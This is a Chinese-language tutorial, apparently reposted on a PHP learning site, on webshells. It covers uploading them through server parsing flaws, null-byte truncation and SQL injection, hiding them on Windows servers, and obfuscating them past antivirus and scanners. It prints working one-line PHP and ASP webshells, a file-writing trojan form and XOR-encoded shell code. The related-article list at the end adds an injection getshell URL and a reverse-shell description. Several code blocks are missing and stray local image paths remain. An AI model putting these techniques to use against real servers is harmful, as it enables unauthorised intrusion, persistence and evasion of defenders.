首页 / PHP / Webshell实现与隐藏探究
Webshell实现与隐藏探究
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了Webshell实现与隐藏探究，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含18537字，纯文字阅读大概需要27分钟。
内容图文
一、什么是webshell- webshell简介
webshell，顾名思义：web指的是在web服务器上，而shell是用脚本语言编写的脚本程序，webshell就是就是web的一个管理 工具，可以对web服务器进行操作的权限，也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途，但是由于 webshell的功能比较强大，可以上传下载文件，查看数据库，甚至可以调用一些服务器上系统的相关命令（比如创建用户，修改删除文件之类的），通常被 黑客利用，黑客通过一些上传方式，将自己编写的webshell上传到web服务器的页面的目录下，然后通过页面访问的形式进行入侵，或者通过插入一句话 连接本地的一些相关工具直接对服务器进行入侵操作。
- webshell的分类
Default
1 23456789101112131415161718 | <form action=http://主机路径/TEXT.asp method=post> <textarea name=value cols=120rows=10width=45> set lP=server.createObject("Adodb.Stream")//建立流对象 lP.Open//打开 lP.Type=2//以文本方式 lP.CharSet="gb2312"//字体标准 lP.writetext request("newvalue") lP.SaveToFile server.mappath("newmm.asp"),2//将木马内容以覆盖文件的方式写入newmm.asp，2就是已覆 盖的方式 lP.Close//关闭对象 set lP=nothing//释放对象 response.redirect"newmm.asp"//转向newmm.asp </textarea> <textarea name=newvalue cols=120rows=10width=45>（添入生成木马的内容） </textarea> <BR> <center> <br> <input type=submit value=提交> |
大马的工作模式简单的多，他没有客户端与服务端的区别，就是一些脚本大牛直接把一句话木马的服务端整合到了一起，通过上传漏洞将大马上传，然后复制 该大马的url地址直接访问，在页面上执行对web服务器的渗透工作。但是有些网站对上传文件做了严格的限制，因为大马的功能较多，所以体积相对较大，很 有可能超出了网站上传限制，但是小马的体积可以控制（比如把代码复制很多遍，或者在一个乱码文件中夹入代码），但是小马操作起来比较繁琐，可以先上传小马 拿到webshell，然后通过小马的连接上传大马拿到服务器。
二、如何上传webshell
1.解析漏洞上传
现在对于不同的web服务器系统对应的有不同的web服务端程序，windows端主流的有iis，linux端主流的有nginx。这些服务对搭建web服务器提供了很大的帮助，同样也对服务器带来隐患，这些服务器上都存在一些漏洞，很容易被黑客利用。(1)iis目录解析漏洞
比如：/xx.asp/xx.jpg虽然上传的是JPG文件，但是如果该文件在xx.asp文件夹下，那个iis会把这个图片文件当成xx.asp解析，这个漏洞存在于iis5.x/6.0版本。(2)文件解析漏洞
比如：xx.asp;.jpg。在网页上传的时候识别的是jpg文件，但是上传之后iis不会解析;之后的字符，同样会把该文件解析成asp文件，这个漏洞存在于iis5.x/6.0版本。
(3)文件名解析比如：xx.cer/xx.cdx/xx.asa。在iis6.0下，cer文件，cdx文件，asa文件都会被当成可执行文件，里面的asp代码也同样会执行。（其中asa文件是asp特有的配置文件，cer为证书文件）。(4)fast-CGI解析漏洞
在web服务器开启fast-CGI的时候，上传图片xx.jpg。内容为：
Default
1 | fputs(fopen('shell.php','w'),'eval($_POST[shell])?>');?> |
这里使用的fput创建一个shell.php文件，并写入一句话。访问路径xx.jpg/.php，就会在该路径下生成一个一句话木马 shell.php。这个漏洞在IIS 7.0/7.5，Nginx 8.03以下版本存在。语言环境：PHP，prel，Bourne Shell，C等语言。
*注：fast-CGI是CGI的升级版，CGI指的是在服务器上提供人机交互的接口，fast-CGI是一种常驻 型的CGI。因为CGI每次执行时候，都需要用fork启用一个进程，但是fast-CGI属于激活后就一直执行，不需要每次请求都fork一个进程。比 普通的CGI占的内存少。(5)apache解析漏洞apache解析的方式是从右向左解析，如果不能解析成功，就会想左移动一个，但是后台上传通常是看上传文件的最右 的一个后缀，所以根据这个，可以将马命名为xx.php.rar，因为apache解析不了rar，所以将其解析为php，但是后台上传点就将其解析为 rar，这样就绕过了上传文件后缀限制
2.截断上传
在上传图片的时候，比如命名1.asp .jpg(asp后面有个空格)，在上传的时候，用NC或者burpsuite抓到表单，将上传名asp后面加上%00（在burpsuite里面可以直接编辑HEX值，空格的HEX值为20，将20改为00），如果HEX为00的时候表示截断，20表示空格，如果表示截断的时候就为无视脚本中的JPG验证语句，直接上传ASP。3.后台数据库备份
在一些企业的后台管理系统中，里面有一项功能是备份数据库（比如南方cms里面就有备份数据库的功能）。可以上传一 张图片，图片里面含有一句话木马，或者将大马改成jpg格式，然后用数据库备份功能，将这张图片备份为asp等其他内容可以被解析为脚本语句的格式，然后 再通过web访问就可以执行木马了，但是这种方法很老了，现在大多数的cms已经把这种备份的功能取消了，或者禁用了。4.利用数据库语句上传
(1) mysql数据库into outfile
这种方式的前提必须是该网站有相应的注入点，而且当前用户必须要有上传的权限，而且必须有当前网页在服务器下的绝对路径。方法是用联合查询，将一句话木马导入到网站下边的一个php文件中去，然后使用服务端连接该网站。但是上述方法条件过于苛刻，一般遇到的情况很少。(2)建立新表写入木马一些开源cms或者自制的webshell会有数据库管理功能，在数据库管理功能里面有sql查询功能，先使用 create table shell(codetext);创建一个名字叫做shell的表，表里面有列明叫做code，类型为text。然后使用insert into shell(code) values(‘一句话马’)，这里讲shell表中的code列赋值为一句话的马，然后通过自定义备份，将该表备份为x.php;x然后就被解析成为 php然后执行了，这里不是x.php;x就一定能够解析为php，不同的web服务器上面的服务程序不同，然后过滤规则也不同，可能会使用其他的方式。(3)phpMyadmin设置错误phpMyadmin用来管理网站数据库的一个工具，其中config.inc.php为其配置文件，在查看的该文 件的时候，如果$cfg[‘Servers’][$i][‘auth_type’]参数的值设置没有设置（默认为config）说明在登陆数据库的时候没 有做相应的验证，可以直接连入数据库，而且在Mysql在一些版本下面默认登陆都是以root用户进行登陆（即管理员），所以登陆进去为最大权限。但是 root一般只能本地登陆，所以必须创建一个远程登陆用户。用远程登陆用户登陆之后，创建一个表，然后再将一句话木马写入。
三、webshell的“安全”
1.关于webshell的隐藏
在上传webshell的时候必须要进行webshell的隐藏工作。隐藏webshell，第一个目的是不让网站管理员发现马将其删掉，第二个目的是为了不被其他的Hacker发现了这个文件并加以利用。（1）大马的隐藏
①不死僵尸
windows系统存在系统保留文件夹名，windows不允许用这些名字来命名文件夹保留文件 夹：aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt。 但是这些可以使用windows的copy命令创建，比如：
Default
1 | c:\>copy3.asp\\.\C:\aux.asp |
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image020.png
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image022.jpg在c盘中创建一个aux.asp。这个文件无法在图像界面下删除。
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image023.png要删除必须使用del命令。
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image024.png删除了之后是没有提示的，但是文件确实没有了。当然用这样的方法虽然可以创建一个图形界面无法删除的webshell，但是如果直接放在网页根目录下，被有经验的网管看到还是回删除的。
②clsid隐藏
windows每一个程序都有一个clsid，如果将一个文件夹命名为x.{程序clsid}，然后输入一下两条命令：file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image026.jpg创建后
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image027.png
点开进入的是控制面板，但是其实该文件还是文件夹，里面还存在大马，而且创建一个这样一个带有clsid的文件夹将其命名为相应的程序可以迷惑网络 管理员的实现，比如进入回收站文件夹中创建这样一个带有回收站clsid的文件夹，在里面里面再copy一个保留字asp，还可以使用
Default
1 | attrib+h+s+r+d/s/d |
修改该文件的属性，将其隐藏，一般windows都是默认不显示隐藏文件的，而且回收站文件夹是自动创建的，这样可以达到隐藏一个不死webshell到服务器中去。
③驱动隐藏技术
原理是在于，在windows文件系统中，打开文件夹的时候系统会发送一个 IRP_MJ_DIRECTORY_CONTROL函数，这个函数可以分配一个缓冲区，将该文件夹下的子文件夹遍历处理得到的信息存放至缓冲区，在遍历的 时候，寻找匹配的文件名，如果文件名匹配，就绕过当前文件夹或者文件，对于绕过的原理，我查询了下代码，根据我的理解，它是根据将遍历的指针在查询到目标 文件的时候，加上该文件的偏移量，不扫描目标文件夹，直接跳过。对于这种技术的实施，虽然网上很多C的源码，但是操作起来有一定的困难，因为头文件的支持，还有系统的支持（不同系统的文件系统会不同），在网上查找到了Easy File Locker程序，需要将其安装至web服务器上，对目标文件设置权限。Default
1 | file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image028.png |
权限的设置有可读accessable，可写writable，可删deletable，可见visible。
Default
1 | file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image030.jpg |
上图可以看到我们将其隐藏了，如前文所说，因为直接绕过了遍历，那么访问绝对路径却可以访问。我的理解是：
Default
1 234 | c:\WINDOWS\xlkfs.dat c:\WINDOWS\xlkfs.dll c:\WINDOWS\xlkfs.ini c:\WINDOWS\system32\drivers\xlkfs.sys |
这4个文件代替了遍历查询，要访问隐藏后的文件，输入绝对路径并不是应用绝对路径查询，而是通过上面4个文件进行的查询，相当于给隐藏文件做了一个单独的驱动。 为了不被管理员发现，可以将Easy FileLocker的程序删除，但是不能删除上述4个文件。删除程序后，输入绝对路径还是可以访问，就达到了隐藏后门的作用
④注册表隐藏
注册表路径：HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer＼Advanced\Folder\Hidden\SHOWALL在这个路径下有一个CheckedValue的键值，把他修改为0，如果没有CheckValue这个key直接创建一个，将他赋值为0，然后创建的隐藏文件就彻底隐藏了，即时在文件夹选项下把“显示所有文件”也不能显示了。（2）一句话木马的隐藏
①头文件包含隐藏
在web里面的一些脚本文件中，有些文件里面有包含语句，可以利用这种包含方法包含一句话文件，在访问这个页面会直接调用这些一句话。asp包含语句：，直接填入路径，文件路径是web服务器上的路径。可以使用站长住手将一句话的NTFS流小马写入图片里面，将路径的‘\’改‘:’写入之后图片是显示不了的，然后找 到web服务器上的一个asp文件，在文件的开始部分写上include语句，php包含语句：
Default
1 | include($include);?> |
这里的$include可以是外部路径比如：
http://www.aaa.com/1.php?Include=http://www.bbb.com/hehe.php这个aaa上的1.php内容为
Default
1 | include($include);?> |
，表示包含。bbb是外部服务器的，前提是这个服务器不能支持PHP。否则将会在bbb这个服务器上执行hehe.php（即一句话马），而aaa不执行。
②配置文件隐藏一句话（PHP）
在拿到PHP的webshell之后，可以利用php.ini隐藏文件，编辑配置文件，其中一个项功能是将某一个文件的内容添加到任意界面的页眉页脚：auto_prepend_file =hehe.php然后看
include_path = “E:\PHPnow-1.5.6\htdocs;”这个配置信息表示加载页眉页脚的文集位置，path规则是”\path1;\path2″，表示将path1路径的 文件夹下的页眉页脚文件添加到path中的文件中去，因为这里是一个‘.’表示根路径，这里就相当于添加到了主页上面去了，然后hehe.asp文件里面 写上一句话，就可以通过php添加页眉的共能，将一句话写入网站首页。
③404小马
404小马在访问的时候显示出来一个404页面不存在的页面，但是实际上木马代码已经执行，一般都是按5次shift可以将它调用出来。四、关于webshell的免杀一句话免杀
1.构造法绕过检测（PHP）
一般的检测程序会过滤这样”_POST”,”system”,”call_user_func_array”这样的 字符，这个时候可以用构造法绕过一些检测程序，基本原理是，php每一个字符都都对应了一个二进制的值，可以采用异或的方式，让马中的一个字符用两个字符 异或后的值来代替。比如像一下代码Default
1 2345678 | @$_++; // 这里++让’_’自加1 $__=("#"^"|"); // _ $__=("."^"~"); // P $__=("/"^"`"); // O $__=("|"^"/"); // S $__=("{"^"/"); // T ?> |
然后构造与一句话可以写为
Default
1 23 | @$_++; $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值为_POST @${$__}[!$_](${$__}[$_]);?> |
// 结果为
@$_POST[0]($POST[1])!$_表示1的相反，在语言里面1代表真，反过来就是0（假）
但是这样的绕过方法相当弱，仔细想一下，就算是两个字符的二进制值异或，但是我们要用某个字符，还是应用那个字符的值，比如
Default
1 | $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/") |
的二进制值与_POST字符的值一样的，要是检测程序会检测二进制码的值，还是会被杀掉。
2.正则表达式代替法（PHP）
php中有一个函数preg_replace()函数，这个函数可以实现正则表达式的替换工作。用替换绕过检测系统还需要php脚本语言里面的一个函数特性，函数在调用的时候，如果函数里面的形参赋的值里面含有命令，就会执行这个命令。Default
1 234 | functionfunfunc($str){} echopreg_replace("/ （当然这里的phpinfo()可以换成其他的命令），通过置换，就会变成 funfunc({${phpinfo()}})由于${}可以解析{}中的内容，所以这里的phpinfo就可以顺利执行了。 3.即时生成法（PHP） 在使用头文件包含的时候，所包含头文件php很容易被扫描器扫描到，这时候可以使用file_put_content创建一个文件，里面写如php的一句话马。在访问之前先生成马，但是这个函数比较敏感，很容易被杀。4.回避法（asp） 因为有的asp服务器为了防止一句话马，会过滤<%,%>，可以使用：Default
Default
5.拆分法（asp） 将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>，虽然绕过的可能性很小，但是也是一种绕过手法，也许有的服务器，做了很多高大上的扫描方式，但是遗漏小的问题。还有拆分法加强版：Default
6.乱码变形（ANSI->Unicode加密） Default
Default
Default
7.大马免杀 （1）base4code编码 大马的免杀可以通过将大马的代码进行压缩，压缩之后在进行base4的加密算法，然后在大马的末尾添加 Default
（2）ROT13编码（php） str_rot13是php用来编码的一个函数。可以利用它来编码脚本代码来绕过特征码的检测，比如。file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image031.png图中的strrev函数是用来反转字符，为了逃过特征码的检测，还特地将字符用’.’号隔开。图中3个str_rot13所加密的字符依次是 gzinflate，str_rot13，base64_decode，相当于三重加密，而且也回避了gzinflate，base64_decode这 两个特征码。但是没有回避str_rot13。有可能有的杀软会将str_rot13也作为特征码。ROT13成为回转13，就是讲当前字符在字母表中的位置值减去13对应的字符加密。加密两次就回到原来的值了。但是由于算法固定，加密的强度也不强。而且破解的方式极为简单，只要再加密一边就可以了。 （3）其他编码 一般杀软和扫描器都会用特征码来判断是否有病毒，在对大马或者小马，一句话马做免杀处理的时候，一般都会用php或 者asp脚本中加密类的函数来加密绕过扫描器（比如base4，rot13等），但是我觉得可以自己编写加密算法，然后使用自己编写的加密算法加密脚本代 码就可以绕过一些特征码的。可以使用一些凯撒密码，移位加密等加密手段的思想，写一段加密算法，然后将脚本代码进行加密，然后base4，rot3这样的 特征码就会消失，或者可以不那么麻烦，直接用自制的加密算法加密特征码，然后再使用的时候将其解密就行了。还可以使用DES，RSA这样的密钥加密算法也可以，一般的大马都会有一个密码的登陆框，可以讲登陆脚本的密码跟解密密钥联动起来，输入正确的密码后才能够解析，一方面是为了逃过扫描器与杀软的查杀，另一方便，这个大马即使被别人拿到了，也无法解密，看到其中的源码。五、关于webshell的后门 一般网上下载的大马或多或少的都会有后门，这些后门直接导致了我们拿的网站被别人顺带拿走了，所以在网上下载的大马必须先检查有没有后门。比如这里的万能密码：Default
这里 Default
原本是为了将pass的值进行验证，如果输入的pass值等于userpass的情况，就代表验证成功，但是后面 Default
表示如果输入的pass值为1111111，也可以登录大马。当然，这个地方不可能会这么简单，原作者完全可以把userpass赋值成为两个，添加一个 userpass改变的触发条件，在他登录的时候触发这个条件（比如说如果登录失败的时候将触发userpass值的更新），这样就可以添加一个后面，而 且触发条件的代码与验证代码分隔的较远，也不好查找，这个时候就需要我们把大马的代码逐行分析。 然后再用框架挂马： Default
这个地方将链接的地址宽度和高度全设置为0，就该页面就隐藏了。里面的“后门地址”指向自己的脚本收信器，最后将收信脚本放到自己搭建的一个公网服务器上面，收信脚本如下： Default
其中 Default
表示请求的字符转内容，即大马的url地址，然后把url地址保存到当前目录的hehe.txt。 要提出这种后门首先必须先要破坏大马第二种密码验证，即万能密码。删除相关的功能代码，然后再查找有没有asp大马页面有没有例如width=0 height=0这样的隐藏url，查找出来将其删除。以上就介绍了Webshell实现与隐藏探究，包括了方面的内容，希望对PHP教程有兴趣的朋友有所帮助。 内容总结
内容备注
内容手机端扫描二维码推送至手机访问。 来源：【匿名】
更多 ►
【Webshell实现与隐藏探究】教程文章相关的互联网学习教程文章分享脚本，同一个问题，php和shell的写法关于写脚本，1 2 3 5 8 13 .............用脚本写出，第一百个数是什么shell:##########下面是脚本内容###########!/bin/bashfor((i=1;i<=100;i++))do if [ $i -eq 1 ];then let s[1]=1 elif [ $i -eq 2 ];then let s[2]=2 else let s[$i]=s[i-1]+s[i-2] fidone echo "$((s[100]))"##########shell脚本到此为止####值得注意的是，let做数学运算不用使用$，最后输出第一百个数的时候，要加上(())，否则只会输出... PHP执行外部命令总结（exec、system、passthru、shell_exec）【代码】具体区别如下：$command = ‘whoami‘;//不直接输入结果内容，命令执行结果的最后一行内容，第二个参数可获取到所有返回结果，每行结果作为一个数组记录，第三个参数返回命令执行的状态码，0代表成功1失败$resultData =exec($command,$output,$returnVal);//直接将结果输出到浏览器，成功则返回命令输出的最后一行， 失败则返回 FALSE,第二个参数返回命令执行的状态码，0代表成功1失败$resultData = system($command,$returnVal);... php168 v6/v7鸡肋Getshell安全问题刚搜了一下貌似和以前一个漏洞是一个问题。有点鸡肋，需要条件： 1.网站配置为：文章生成真静态 2.允许注册会员 给出v6的测试代码，提交后执行phpinfo()，v7原理一样，只是数据库字段数不一样。 member/list.php?step=2&Type=delete&aidDB[]=-1)%20union%20select%201,2,3,4,5,6,7,8,9,10,1,2,3,4,15,6,7,8,9,10,1,2,3,4,25,6,7,8,9,10,1,2,3,4,35,6,7,8,9,10,1,2,3,4,45,6,7,8,9,10,1,2,3,4,0x7B247B706870696E666F28... php 执行shell命令 打印错误信息【代码】$cmd = "rm 1.txt";//删除一个不存在的文件，查看报错信息 $res = doShell($cmd); var_dump($res); //该函数没有限制条件，可以直接放在代码中使用 function doShell($cmd,$cwd=null) { $descriptorspec = array( 0 => array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr );// $cmd = ‘./test.sh‘; // 替换为你要执行的she... PHP Webshell 下的端口反弹方法【图】使用方法：需要将以下代码保存为一个单独的php文件。上传到服务器之后，本地NC监听一个端口，在代码里设置好反弹IP和端口，然后直接访问上传的php文件，就会给 NC 弹回来一个shell。 测试实例：先在本地执行 nc -vv -l -p port，然后访问这个php页面 http://www.site.com/phpdkft.php ，本地就会得到一个反弹的shell。 这样每次可以直接访问这个php页面，直接弹回来shell，不用做其他繁琐的操作，下面贴出来已经修改好的代码复制代... PHPwebshell分析【代码】这几天已知在做webshell的检测，JSP的不说了，特征检测起来很好匹配到，而且全是一家亲，互相模仿的居多。今天看了一篇文章，看到14年蘑菇的webshell的后门然后很不错。============================================是按位取反。~PHP: 位运算符 - http://www.php.net/manual/zh/language.operators.bitwise.php~ $a Not（按位取反） 将 $a 中为 0 的位设为 1，反之亦然。PHP 的 ini 设定 error_reporting 使用了按位的值，提供了关... shell传参给php，并接收php的返回结果【代码】shell#!/bin/bash host=${DB_HOST} dbname=${DB_NAME} user=${DB_USER} pwd=${DB_PWD} # 只能通过单字母传参数 create_res=`php ${cur_dir}/init/createdb.php -h $host -u $user -p $pwd -d $dbname` if [[ "$create_res" = 1 ]]; thenEcho_Green "create database $dbname ok." else Echo_Red "create database $dbname fail." fi php<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(E_ALL | E_ST... php shell_exec exec system 几种操作系统命令的函数system()$last_line = system(‘ls‘, $return_var);system() 会将输出内容直接印出, 所以若于网页, 会将所有回传内容都显示于页面上.$last_line: 只能取得最后一行的内容$return_var: 取得系统状态回传码exec()exec(‘ls‘, $output, $return_var);$output: 回传内容都会存于此变数中(储存成阵列), 不会直接秀在页面上.$return_var: 取得系统状态回传码shell_exec()$output = shell_exec(‘ls‘);$output: 回传内容都会存于此变数... php利用root权限执行shell脚本 （转）转一篇博客，之前搞这个东西搞了好久，结果今天晚上看到了一篇救命博客，瞬间开心了。。。转载转载利用sudo来赋予Apache的用户root的执行权限，下面记录一下：利用PHP利用root权限执行shell脚本必须进行以下几个步骤：（所有步骤都是我亲自实验，若有不妥可指出，谢谢！）1. 确定一下你的Apache的执行用户是谁。注：不一定就是nobody，我自行安装的httpd，我的Apache的用户就是daemon2. 利用visudo为你的Apache执行用户赋予root执行... PHP Web Shell in browser【代码】/************************************************************************************** PHP Web Shell in browser* 说明：* 在浏览器中执行shell命令，可以省区telnet或者SSH。* * 2017-1-1 深圳 南山 平山村 曾剑锋*************************************************************************************一、参考文档：1. PHP Shellhttp:... php版网站站打包程序【配合webshell】（原创）【代码】【图】因为大马只能下载一些单文件，无法下载文件夹里的文件，所以花费一些时间写了一个PHP脚本，打包全站数据，在此分享！切勿做违法事情！ 使用方法：1、将该程序上传到网站的目录下，如/zip.php ；2、在浏览器中访问程序 http://www.xuetong365.com/zip.php ；3、将出现上图所示界面，可按照提示说明进行相关的操作；4、点击压缩，稍等片刻（根据网站数据量的大小等待的时间不同），即可压缩完成；5、压缩完成后会显示压缩文件的下... 不使用数字和字母的PHP webshell【代码】【图】Round 1代码如下：<?php if(!preg_match(‘/[a-z0-9]/is‘,$_GET[‘shell‘])) {eval($_GET[‘shell‘]); }思路将非字母、数字的字符经过各种变换，最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点，拼接处一个函数名，如“assert”，然后动态执行之即可。那么，变换方法 将是解决本题的要点。不过在此之前，需要了解php5和PHP7的一些差异。php5中assert是一个函数，我们可以通过$f=‘assert‘;$f(...);这样的... PHP 命令行工具 shell_exec, exec, passthru, system详细使用介绍【图】所有这些命令都衍生一个子进程，用于运行您指定的命令或脚本，并且每个子进程会在命令输出写到标准输出 (stdout) 时捕捉它们。 shell_exec() shell_exec() 命令行实际上仅是反撇号 (`) 操作符的变体。如果您编写过 shell 或 Perl 脚本，您就知道可以在反撇号操作符内部捕捉其他命令的输出。例如，清单 1 显示了如何使用反撇号在当前目录中获取每个文本（.txt）的单词计数。 清单 1. 使用反撇号计算单词数量 复制代码 代码如下:#! /... shell跑一个PHP脚本的简单命令最近在做一个刷数据库的小功能，需要批量添加到不同的表中，写好PHP文件之后，登录到某一个服务器上面上传文件的命令：rz 会出现一个弹框可以选择要上传的文件执行文件并报错误的命令：/usr/local/php-5.6.10/bin/php -nl sousuojieguo.php 其中php-5.6.10是服务其中PHP的版本 执行文件不报错：/usr/local/php-5.6.10/bin/php sousuojieguo.php查看目录下面的文件:ls下载某个文件：sz sousuojieguo.php查看某个某件：cat sousu... Ruby、PHP、Shell实现求50以内的素数ruby求50之内的素数的方法，感觉对比PHP和SHELL方法是最简单的，但SHELL中可以利用factor命令，而PHP中没有求素数的对应函数的，需要自己设计算法，三种方式大家对比学习下，应该还有更优更简单的方法的。复制代码 代码如下: #encoding:utf-8 #求50以内的素数(注意数字中..与...的区别) for i in 2..50 #1默认不为素数，所以从1-50范围内被排除 f=true #起始假定每个数都是素数 for p in 2...i #比自身小的正整数（1和自... PHP - 技术教程分类
PHP 教程
PHP 简介
PHP 安装
PHP 语法
PHP 变量
PHP echo/print
PHP EOF(heredoc)
PHP 数据类型
PHP 类型比较
PHP 常量
PHP 字符串
PHP 运算符
PHP If...Else
PHP Switch
PHP 数组
PHP 数组排序
PHP 超级全局变量
PHP While 循环
PHP For 循环
PHP 函数
PHP 魔术常量
PHP 命名空间
PHP 面向对象
PHP 测验
PHP 表单
PHP 表单验证
PHP 表单 - 必需字段
PHP 完整表单实例
PHP $_GET 变量
PHP $_POST 变量
PHP 多维数组
PHP 日期
PHP 包含
PHP 文件
PHP 文件上传
PHP Cookie
PHP Session
PHP E-mail
PHP Error
PHP Exception
PHP 过滤器
PHP 7 新特性
PHP MySQL 简介
PHP MySQL 连接
PHP MySQL 创建数据库
PHP MySQL 创建数据表
PHP MySQL 插入数据
PHP MySQL 插入多条数据
PHP MySQL 预处理语句
PHP MySQL 读取数据
PHP MySQL Where
PHP MySQL Order By
PHP MySQL Update
PHP MySQL Delete
PHP ODBC
AJAX 简介
AJAX PHP
AJAX 数据库
AJAX 实时搜索
AJAX 投票
PHP Array
PHP Calendar
PHP cURL
PHP Date
PHP Directory
PHP Error
PHP Filesystem
PHP Filter
PHP FTP
PHP HTTP
PHP Mail
PHP Math
PHP Misc
PHP MySQLi
PHP PDO
PHP String
PHP Zip
PHP Timezones
PHP 图像处理
PHP RESTful
PHP PCRE
PHP 可用的函数
PHP Composer
php 全部
PHP - 最新教程 |